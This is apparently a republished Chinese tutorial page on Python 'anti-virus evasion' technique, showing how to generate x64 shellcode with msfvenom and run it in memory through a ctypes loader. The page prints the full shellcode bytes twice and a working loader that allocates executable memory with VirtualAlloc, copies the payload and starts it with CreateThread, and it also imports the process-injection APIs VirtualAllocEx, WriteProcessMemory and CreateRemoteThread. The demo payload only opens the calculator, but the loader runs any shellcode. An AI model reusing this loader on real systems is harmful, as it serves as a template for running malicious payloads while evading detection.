iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python免杀技术shellcode的加载与执行方法是什么
  • 445
分享到

python免杀技术shellcode的加载与执行方法是什么

2023-07-06 00:07:55 445人浏览 泡泡鱼

Python 官方文档:入门教程 => 点击学习

摘要

本篇内容主要讲解“python免杀技术shellcode的加载与执行方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Python免杀技术shellcode的加载与执行方法是什么”吧!0&

本篇内容主要讲解“python免杀技术shellcode的加载与执行方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习Python免杀技术shellcode的加载与执行方法是什么”吧!

0x01 生成shellcode

首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

python免杀技术shellcode的加载与执行方法是什么

0x02 加载与执行shellcode的程序

程序为:

# -*- coding:utf-8 -*-import ctypesfrom ctypes import *from ctypes.wintypes import *import sysPAGE_EXECUTE_READWRITE = 0x00000040MEM_COMMIT = 0x3000PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)VirtualAlloc = windll.kernel32.VirtualAllocRtlMoveMemory = windll.kernel32.RtlMoveMemoryCreateThread = windll.kernel32.CreateThreadWaitForSingleObject = windll.kernel32.WaitForSingleObjectOpenProcess = windll.kernel32.OpenProcessVirtualAllocEx = windll.kernel32.VirtualAllocExWriteProceSSMemory = windll.kernel32.WriteProcessMemoryCreateRemoteThread = windll.kernel32.CreateRemoteThreadshellcode = bytearray(    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"    b"\x78\x65\x00")def run1():    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件if __name__ == "__main__":    run1()

0x03 程序解释

导入模块,并且程序分配内存还有可进行读写操作。

import ctypesfrom ctypes import *from ctypes.wintypes import *import sysPAGE_EXECUTE_READWRITE = 0x00000040MEM_COMMIT = 0x3000PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

区域可执行代码,可读可写

PAGE_EXECUTE_READWRITE = 0x00000040

分配内存

MEM_COMMIT = 0x3000

给予进程所有权限

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

调用windows api

VirtualAlloc = windll.kernel32.VirtualAllocRtlMoveMemory = windll.kernel32.RtlMoveMemoryCreateThread = windll.kernel32.CreateThreadWaitForSingleObject = windll.kernel32.WaitForSingleObjectOpenProcess = windll.kernel32.OpenProcessVirtualAllocEx = windll.kernel32.VirtualAllocExWriteProcessMemory = windll.kernel32.WriteProcessMemoryCreateRemoteThread = windll.kernel32.CreateRemoteThread

将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处理

shellcode = bytearray(    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"    b"\x78\x65\x00")

创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:

def run1():    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

VirtualAlloc是用来申请内存空间,是一个Windows API函数,它的声明为:

LPVOID VirtualAlloc{LPVOID lpAddress, // 要分配的内存区域的地址DWord dwSize, // 分配的大小DWORD flAllocationType, // 分配的类型DWORD flProtect // 该内存的初始保护属性};

RtlMoveMemory从指定内存中复制内存至另一内存里.语法为:

VOID RtlMoveMemory(VOID UNALIGNED *Destination,const VOID UNALIGNED *Source,SIZE_T Length);

参数:

Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

CreateThread是一种微软在Windows API中提供了建立新的线程的函数,该函数在主线程的基础上创建一个新线程。
函数原型:

HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,//SDSIZE_T dwStackSize,//initialstacksizeLPTHREAD_START_ROUTINE lpStartAddress,//threadfunctioNLPVOID lpParameter,//threadargumentDWORD dwCreationFlags,//creationoptionLPDWORD lpThreadId//threadidentifier)

参数意义

  • lpThreadAttributes:指向SECURITY_ATTRIBUTES型态的结构的指针。在Windows 98中忽略该参数。在Windows NT中,NULL使用默认安全性,不可以被子线程继承,否则需要定义一个结构体将它的bInheritHandle成员初始化为TRUE。

  • dwStackSize,设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,Windows根据需要动态延长堆栈的大小。

  • lpStartAddress,指向线程函数的指针,形式:@函数名,函数名称没有限制

  • lpParameter:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为NULL。

  • dwCreationFlags :线程标志,可取值如下

    • (1)CREATE_SUSPENDED(0x00000004):创建一个挂起的线程,

    • (2)0:表示创建后立即激活。

    • (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize参数指定初始的保留堆栈 的大小,否则,dwStackSize指定提交的大小。该标记值在Windows 2000/NT and Windows Me/98/95上不支持。

  • lpThreadId:保存新线程的id。

    • WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。

声明:

DWORD WINAPI WaitForSingleObject(__in HANDLE hHandle,__in DWORD dwMilliseconds);

hHandle[in]对象句柄。可以指定一系列的对象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。

dwMilliseconds[in]定时时间间隔,单位为milliseconds(毫秒).如果指定一个非零值,函数处于等待状态直到hHandle标记的对象被触发,或者时间到了。如果dwMilliseconds为0,对象没有被触发信号,函数不会进入一个等待状态,它总是立即返回。如果dwMilliseconds为INFINITE,对象被触发信号后,函数才会返回。

运行程序可以成功弹出计算器。

python免杀技术shellcode的加载与执行方法是什么

到此,相信大家对“python免杀技术shellcode的加载与执行方法是什么”有了更深的了解,不妨来实际操作一番吧!这里是编程网网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

--结束END--

本文标题: python免杀技术shellcode的加载与执行方法是什么

本文链接: https://www.lsjlt.com/news/356716.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • python免杀技术shellcode的加载与执行方法是什么
    本篇内容主要讲解“python免杀技术shellcode的加载与执行方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“python免杀技术shellcode的加载与执行方法是什么”吧!0&...
    99+
    2023-07-06
  • python免杀技术shellcode的加载与执行
    目录0x01 生成shellcode0x02 加载与执行shellcode的程序0x03 程序解释0x01 生成shellcode 首先通过下...
    99+
    2023-05-15
    python shellcode加载与执行 python shellcode
  • python脚本执行的方法是什么
    Python脚本可以通过以下几种方法来执行:1. 在命令行中执行:可以直接在命令行中输入"python 脚本文件.py"来执行脚本文...
    99+
    2023-10-19
    python
  • makefile执行的方法是什么
    要执行Makefile,可以使用以下方法:1. 在命令行中使用`make`命令:在Makefile所在的目录下打开命令行,输入`ma...
    99+
    2023-09-12
    makefile
  • Django容器的Python加载方法是什么?
    Django是一个流行的Python Web框架,它具有易用性和高度可扩展性的特点。在使用Django时,我们通常会将应用程序部署到容器中,以便更好地管理和维护应用程序。本文将介绍如何在Django容器中加载Python。 首先,我们需要知...
    99+
    2023-08-24
    容器 load django
  • java执行maven的方法是什么
    要执行Maven命令,需要使用以下方法: 使用Maven的命令行工具执行命令。在命令行中输入mvn后,可以跟随各种Maven命令...
    99+
    2023-10-23
    java maven
  • sqlserver执行exe的方法是什么
    在SQL Server中执行一个.exe文件的方法有以下几种:1. 使用xp_cmdshell存储过程:这是SQL Server提供...
    99+
    2023-08-31
    sqlserver
  • API模型的保存与加载方法是什么
    本篇内容介绍了“API模型的保存与加载方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!  1.目的:  将训练好的模型保存下来,已备...
    99+
    2023-06-02
  • oracle执行计划的方法是什么
    本篇内容主要讲解“oracle执行计划的方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“oracle执行计划的方法是什么”吧!先从最开头一直往右看,直到...
    99+
    2024-04-02
  • Python中的Git关键字加载方法是什么?
    在Git版本控制系统中,关键字是一种非常有用的工具,可以用来在代码中标记特定的信息,例如版本号、作者、日期等等。Python中的Git关键字加载方法,可以让我们在代码中轻松地使用这些关键字,并且自动地将它们替换为对应的值。在本文中,我们将...
    99+
    2023-09-18
    git load 关键字
  • python计算函数执行时长的方法是什么
    本篇内容主要讲解“python计算函数执行时长的方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“python计算函数执行时长的方法是什么”吧!python开发,有时需要做性能分析及性能优...
    99+
    2023-07-06
  • Python可执行文件反编译的方法是什么
    Python可执行文件是由Python解释器将源代码编译而成的字节码文件(.pyc或.pyc文件)。这些文件可以通过反编译工具进行反...
    99+
    2023-08-18
    Python
  • python抛出异常继续执行的方法是什么
    在Python中,可以使用try-except语句来捕获和处理异常,从而使程序能够在抛出异常后继续执行。具体的方法是:```pyth...
    99+
    2023-09-06
    python
  • python添加运行配置的方法是什么
    要在Python中添加运行配置,可以使用以下方法之一:1. 使用命令行参数:在命令行中运行Python脚本时,可以添加参数来配置运行...
    99+
    2023-09-25
    python
  • php加载文件的方法是什么
    这篇文章主要介绍php加载文件的方法是什么,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!php加载文件的方法:1、使用“include '文件名'”语句加载;2、使用“require '文件名...
    99+
    2023-06-15
  • android加载动画的方法是什么
    Android加载动画有多种方法,以下是几种常用的方法:1. 使用AnimationDrawable:通过将多个图片帧组合在一起形成...
    99+
    2023-08-08
    android
  • php命名空间与自动加载的方法是什么
    在PHP中,命名空间是一种将相关的类、函数和常量分组的机制,可以避免命名冲突。命名空间使用关键字`namespace`来定义,可以在...
    99+
    2023-10-12
    php
  • bootstrap加载动画的方法是什么
    要在Bootstrap中加载动画,您可以使用以下方法之一:1. 使用Bootstrap的CSS类:Bootstrap提供了一些内置的...
    99+
    2023-08-24
    bootstrap
  • mysql命令行执行脚本的方法是什么
    在MySQL命令行中执行脚本的方法有以下几种: 使用source命令:在命令行中使用source命令加载并执行脚本文件。语法如下:...
    99+
    2024-04-09
    mysql
  • Git关键字在Python中的加载方法是什么?
    Git是一个流行的版本控制系统,它被广泛应用于软件开发中。Python是一种高级编程语言,也被广泛应用于软件开发中。在Python中,我们可以使用一些关键字来加载Git,本文将介绍这些关键字的使用方法。 首先,我们需要安装Git。在Wind...
    99+
    2023-09-18
    git load 关键字
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作